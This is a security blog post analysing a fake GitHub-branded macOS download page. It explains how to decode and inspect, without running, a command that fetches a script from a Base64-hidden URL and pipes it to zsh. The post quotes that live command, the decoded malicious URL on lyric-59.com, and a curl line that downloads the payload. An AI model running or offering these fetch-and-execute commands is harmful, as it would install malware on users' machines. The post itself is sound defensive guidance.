> ## Content Index > Fetch the complete content index at: https://snubmonkey.com/llms.txt > Use this file to discover other available public pages before exploring further. # Suspicious Download — Part 1/2: The Hidden URL. - URL: https://snubmonkey.com/suspicious-download-hidden-url/ - Published: 2026-11-02T17:59:11.000Z - Updated: 2026-11-02T19:13:50.000Z - Description: A download page led to a command that concealed a URL in Base64, fetched a file, and passed the response straight to Zsh. Decoding reveals the URL; it does not fetch or run the content. - Author: SNUBmonkeyteam - Tags: macOS, security 🦾🦿, tips, script 🏷️🦿, shell 🛠️ # # While investigating a suspicious download flow, we traced a redirect from TorrentMac’s download-fallback page to fileshadowquanta.com. The destination is no longer available, so we’re providing the saved script as a **non-executable**, **plain-text sample** for educational analysis. (at the end —**Part 2**) At the time of our review, the destination displayed **GitHub** branding, including a logo and a “*Verified Publisher*” banner. > > **We’re documenting what we observed as part of our *security analysis*; this does not imply that Snubmonkey *uses* or *endorses* either service.** At first glance, the site looks legitimate: it has a clean design, polished copy, and clear step-by-step instructions. But a professional appearance, GitHub logo, “Verified Publisher” badge, copyright notice, or HTTPS connection doesn’t prove the site is operated or endorsed by GitHub—or that its downloads are safe. **Remember**: **HTTPS** protects the connection; it **doesn’t** verify the site or its **content**. ## The Command The download instructions provided a command like this: ``` $ curl -s $(echo "aHR0cHM6Ly9seXJpYy01OS5jb20vY3VybC83ZXUwMmZhNzMvaGo1azlobmVqbTdjbjV4NmU2cHc1dW52LmRhdA==" | openssl base64 -d -A) | zsh ``` The long `aHR0cHM6Ly9seXJpYy01OS5jb20vY3VybC83ZXUwMmZhNzMvaGo1azlobmVqbTdjbjV4NmU2cHc1dW52LmRhdA==` string is [**Base64-encoded**](https://en.wikipedia.org/wiki/Base64?ref=snubmonkey.com). **Base64** represents data using a limited set of characters; it is encoding, not encryption. It doesn’t protect the text or make it secret. To reveal the encoded text without visiting the URL or downloading anything, decode it as text: **macOS** ``` $ printf '%s' 'aHR0cHM6Ly9seXJpYy01OS5jb20vY3VybC83ZXUwMmZhNzMvaGo1azlobmVqbTdjbjV4NmU2cHc1dW52LmRhdA==' | base64 -D ``` **Linux systems** ``` $ printf '%s' 'aHR0cHM6Ly9seXJpYy01OS5jb20vY3VybC83ZXUwMmZhNzMvaGo1azlobmVqbTdjbjV4NmU2cHc1dW52LmRhdA==' | base64 -d ``` It decodes to: ``` https://lyric-59.com/curl/7eu02fa73/hj5k9hnejm7cn5x6e6pw5unv.dat ``` In the original command, `curl` retrieves the response from that URL, and `| zsh` passes the response to Z shell for execution. **The main risk**: the command downloads content from a remote server and passes it straight to `zsh`, before you can review it. The URL is Base64-encoded, which makes the destination less obvious at a glance. Encoding alone doesn’t prove malicious intent, but when a command hides its destination and immediately executes the download, it’s reasonable to ask why and to **avoid running it**. ## Is there an affiliation with GitHub? **No, absolutely not**. `lyric-59.com` has zero connection to GitHub. GitHub URLs exclusively use domains owned and operated by GitHub, such as `github.com`, `raw.githubusercontent.com`, or `gist.github.com`. Any script directing you to download and execute code from an unrelated external domain like `lyric-59.com` is trying to bypass GitHub entirely to run unverified, potentially malicious code on your machine. ## Inspect `curl | shell` CMD Commands that download content and pass it directly to a shell execute whatever the server returns. For example: ``` curl -s "URL" | zsh ``` Here, `curl` retrieves the response, and `zsh` executes it. Hiding the URL with **Base64** makes the command less readable at a glance but does not change what it does. ### 1\. Don’t run it Treat commands such as `curl ... | sh`, `curl ... | bash`, and `curl ... | zsh` as untrusted code. Don’t paste them into Terminal to see what happens. ### 2\. Decode hidden text without executing it **Base64 decoding** reveals the encoded text; it does not execute the result. If it decodes to a URL, note the domain and path. **Don’t** automatically pass the URL to a download command. ### 3\. Save it for review Contacting a server may reveal your IP address, and the request may be logged. If you retrieve a file, save it for review instead of piping it into a shell: ``` $ curl -fsSL 'URL' -o suspicious-file ``` If you choose to retrieve the file, save it as `suspicious-file` or (another name of your choice) for review. Downloading it does not make it safe. Don’t run it or open it by double-clicking. ### 4\. Check the source independently A familiar-looking site or HTTPS connection does not guarantee that a file is trustworthy. Confirm through a separate, trusted source that the command and domain are expected. Be especially cautious with instructions from pop-ups, unsolicited messages, or unfamiliar download pages. ## Inspect the File as Data Without Running it Let's save the response as a file for review, without executing it: ``` $ curl -fsSL 'https://lyric-59.com/curl/7eu02fa73/hj5k9hnejm7cn5x6e6pw5unv.dat' -o suspicious-file ``` This contacts the server and saves its response as `suspicious-file`. It does not verify that the file is safe. **Don’t** run it. These commands inspect the file as data; they do not execute it. ``` $ file suspicious-file $ wc suspicious-file $ xxd -l 256 suspicious-file ``` - `**file suspicious-file**` identifies the file type from its contents. Here, it recognizes a zsh script from the `#!/bin/zsh` line. “ASCII text executable” means the file is readable text and marked as executable; it does **not** mean the file is safe. - **`wc suspicious-file`** counts lines, words, and bytes. Here, it reports **54 lines, 178 words, and 3,003 bytes**, in that order. - `**xxd -l 256 suspicious-file**` displays the file’s first 256 bytes in two columns: hexadecimal bytes on the left and their readable-text equivalents on the right. The numbers at the start of each row (such as `00000000`) are the byte offsets. Here, `23 21` corresponds to `#!`, so the preview begins with `#!/bin/zsh`, identifying it as a zsh script. The following bytes show a comment with a version-like label, logging code, and the beginning of a long value named `_license_salt`. This is only a preview; it doesn’t show the full file or reveal the hidden payload. If the file is readable text, view it without executing it: ``` $ less suspicious-file ``` `less` lets you scroll through the file; press `q` to quit. To display its first 100 lines instead, use: ``` $ head -n 100 suspicious-file ``` Review the contents for commands that download or launch other files, change startup settings, access credentials, or delete data. A readable preview may not reveal the full payload: scripts can conceal behavior through encoding, compression, or additional downloads. Avoid commands such as `source suspicious-file`, `. suspicious-file`, `sh suspicious-file`, or `zsh suspicious-file`; those execute the file. ## The command hides its destination and runs whatever the server returns before you can review it. Treat commands that pipe downloads directly into a shell as untrusted, and verify the source independently. **Do not** run this script under any circumstances. We hope this was helpful. **Keep learning. Keep exploring. Build a safer open-source community.** ### What’s Next? In **Part 2/2**: **Suspicious Download — Inspecting the Script**, we’ll save the downloaded file for review and examine what its full contents reveal, including obfuscated commands and embedded data.